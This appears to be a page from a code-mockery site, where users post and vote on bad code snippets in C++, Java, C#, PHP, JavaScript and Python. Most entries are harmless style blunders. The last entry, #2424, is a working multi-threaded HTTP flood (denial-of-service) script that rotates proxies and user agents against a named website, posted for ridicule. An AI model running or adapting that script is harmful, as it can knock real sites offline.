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#2327 How to access your header(s)' private/protected parts. C++ +43

#define private public
#define protected public
#define class struct

#include "your_private_parts.hpp"
// ...

#undef class
#undef protected
#undef private

// ...

Fails miserably if template <class>, template <template <class> class> or their variations are found anywhere inside your header. :(

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By 2 + 2 = 3.99999999999999999999999999999999999, 2021-11-08 07:59:05

#1960 I hate one-liners. Java +43

public enum DataSize {
    BYTE,
    DOUBLE_BYTE,
    INT,
    LONG;
    
    public boolean isEqualTo(Object value) {
        if(value instanceof Byte && this.equals(BYTE)) {
            return true;
        } else if ((value instanceof Character || value instanceof Short) && this.equals(DOUBLE_BYTE)) {
            return true;
        } else if ((value instanceof Integer) && this.equals(INT)) {
            return true;
        } else if ((value instanceof Long) && this.equals(LONG)) {
            return true;
        }
        return false;
    }
}

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By DevHONK, 2021-02-22 15:21:03

#171 Brilliant LSL +43

s[strlen(s)] = '\0';

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By Ulfalizer, 2017-12-13 19:17:36

#467 Object Data Toggle... I'm miss .attrToggle JavaScript +43

  $(".alarmBell").on("click", () => {

    let icon = $(".alarm-bell__icon")
    icon.attr('data', icon.attr('data') == 'images/icon/alarm-bell.svg' ? 'images/icon/alarm-bell-filled-new.svg' : 'images/icon/alarm-bell.svg');

    // $(".alarm-bell__icon").attr('data', function (index, data) {
    //   if (data == 'images/icon/alarm-bell-filled-new.svg') {
    //     return 'images/icon/alarm-bell.svg';
    //   } else if (data == 'images/icon/alarm-bell.svg') {
    //     return 'images/icon/alarm-bell-filled-new.svg';
    //   } else {
    //     return 'images/icon/alarm-bell.svg';
    //   }
    // });

  });

...after yet another icons change request

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By Desperate Dev..., 2020-01-21 17:28:18

#216 Best try catch C# +43

try {
    User.ClaimToken();
} 
catch {
    User.ClaimToken();
}

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By Anonymous, 2017-12-22 08:44:59

#1771 Use descriptive names, they said. Java +43

// check if user is valid or not
ValidUserValidationResult userValidationResult = validUserValidator.validateUser(validationRequest);

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By Anonymous, 2020-12-09 17:45:18

#2606 When you don't know how try-catch works JavaScript +42

 public void updateCurrency() {
        LOGGER.info("Update currencies");
        var ok = false;

        try {
            getExchangeRatesMechanism(getExchangeRatesProcessor());
            ok = true;
        } catch (Exception exception) {
            LOGGER.error(exception.getMessage(), exception);
        }

        if (ok) {
            LOGGER.info("The currencies were updated successfully!");
        }
    }

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By halogenUnit, 2022-09-29 13:31:58

#55 JavaScript +42

> var x = 3;
> '5' + x - x
50
> '5' - x + x
5 // Because fuck math

JS is simply. Oh, wait...

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By mademan, 2015-11-18 13:50:39

#319 Too many preg_match() for UK postcode PHP +42

    if (preg_match("/^N/",$postcode)) {
        if (preg_match("/^NW/", $postcode)) {
            if (!preg_match("/^NW1/", $postcode)) {
                // NORTH WEST (NW2, NW3, NW4, NW5, NW6, NW7, NW8, NW9, NW10)
                $property['Prop_area'] = 'NW';
            } else {
                // NW1 which is Central
                $property['Prop_area'] = 'SW';
            }
        } else {
            // NORTH  (N1, N2, N3, N4, N5 etc)
            $property['Prop_area'] = 'N';
        }
    } else if (preg_match("/^W/",$postcode)) {
        if (
            !preg_match("/^W1 /",$postcode)
            && !preg_match("/^W2 /",$postcode)
            && !preg_match("/^W8/",$postcode)
            && !preg_match("/^W11/",$postcode)
        ) {
            // WEST includes (W3, W4, W5, W6, W7, W9, W10, W12, W13, W14)
            $property['Prop_area'] = 'W';
        } else {
            //W1 and W2, W8, W11 which are Central
            $property['Prop_area'] = 'SW';
        }
    } else {
        if (
            preg_match("/^SW/",$postcode)
            || preg_match("/^EC/",$postcode)
            || preg_match("/^WC/",$postcode)
        ) {
            // CENTRAL includes (W1, W2, EC, WC, NW1, SW1, SW3, SW5, SW7, W8, W11)
            $property['Prop_area'] = 'SW';
        } else {
            // OTHER includes South and East and everything else
            return 'SE';
        }
    }

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By ichikawayukko, 2018-11-06 12:30:21

#66 Loops increase complexity C# +42

private void reset_kolejnosc()
{
	this.kolejnosc_s[0] = 1;
	this.kolejnosc_s[1] = 2;
	this.kolejnosc_s[2] = 3;
	this.kolejnosc_s[3] = 4;
	this.kolejnosc_s[4] = 5;
	this.kolejnosc_s[5] = 6;
	this.kolejnosc_s[6] = 7;
	this.kolejnosc_s[7] = 8;
	this.kolejnosc_s[8] = 9;
	this.kolejnosc_s[9] = 10;
}

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By winek, 2016-07-17 00:16:00

#377 What's the point? JavaScript +42

form = JSON.parse(JSON.stringify(this.mobilityDistanceForm.getRawValue()));

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By tralaladidou, 2019-07-15 20:41:51

#150 Ah yes, mapping boolean to boolean. Good work Java +42

boolean darkModeSelected = (!darkModeSelected ? true : false);

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By Anonymous, 2017-12-13 09:40:59

#215 Extension methods are great C# +42

/// <summary>
/// Method that checks if an object is not null
/// </summary>
/// <param name="obj">extend type of <see cref="Object"/></param>
/// <returns>true if object is not null</returns>
public static bool NotNull(this Object obj)
{
    return obj != null;
}


[TestMethod]
public void Test_Something()
{
    // test
    var result = DoSomething();
    
    // assert
    Assert.IsTrue(result.NotNull());
}

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By Anonymous, 2017-12-21 15:42:20

#36 The first version of XPBot PHP +41

<?php
public function parse($package)
{
if(isset($package["type"]) && $package["type"] == "unavailable")
{
    if(((time() - self::$xmpp->users[(string)$package["from"]]["jointime"] < 30 && (isset(self::$xmpp->users[(string)$package["from"]]["messages"]) && self::$xmpp->users[(string)$package["from"]]["messages"] < 2) && (time() - self::$xmpp->startTime) > 50)) || (!isset(self::$xmpp->users[(string)$package["from"]]["messages"]) && time() - self::$xmpp->users[(string)$package["from"]]["jointime"] < 900 && (time() - self::$xmpp->startTime) > 900))
    {
	if(!array_search(strstr(self::$xmpp->users[(string)$package["from"]]["jid"], "/", true), explode("\n", file_get_contents("friends.txt"))))
	{
	    self::$xmpp->ban(strstr($package["from"], "/", true), self::$xmpp->users[(string)$package["from"]]["jid"]);
	    self::$xmpp->groupMessage(strstr($package["from"], "/", true), substr(strstr($package["from"], "/"), 1)." został zbanowany/a za przeciąg!");
	}   
    }
    else
	if(!array_search(strstr(self::$xmpp->users[(string)$package["from"]]["jid"], "/", true), explode("\n", file_get_contents("friends.txt"))))
	    file_put_contents("friends.txt", file_get_contents("friends.txt")."\n".strstr(self::$xmpp->users[(string)$package["from"]]["jid"], "/", true));
}    
}

In fact whole project is shitty as hell, if you want have some fun grab popcorn and read all the sources: XPBot on sourceforge

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By Kadet, 2015-07-21 12:51:32

#2424 garbage flooding code Python +41

import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

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By @o_SKID, 2022-01-27 22:46:24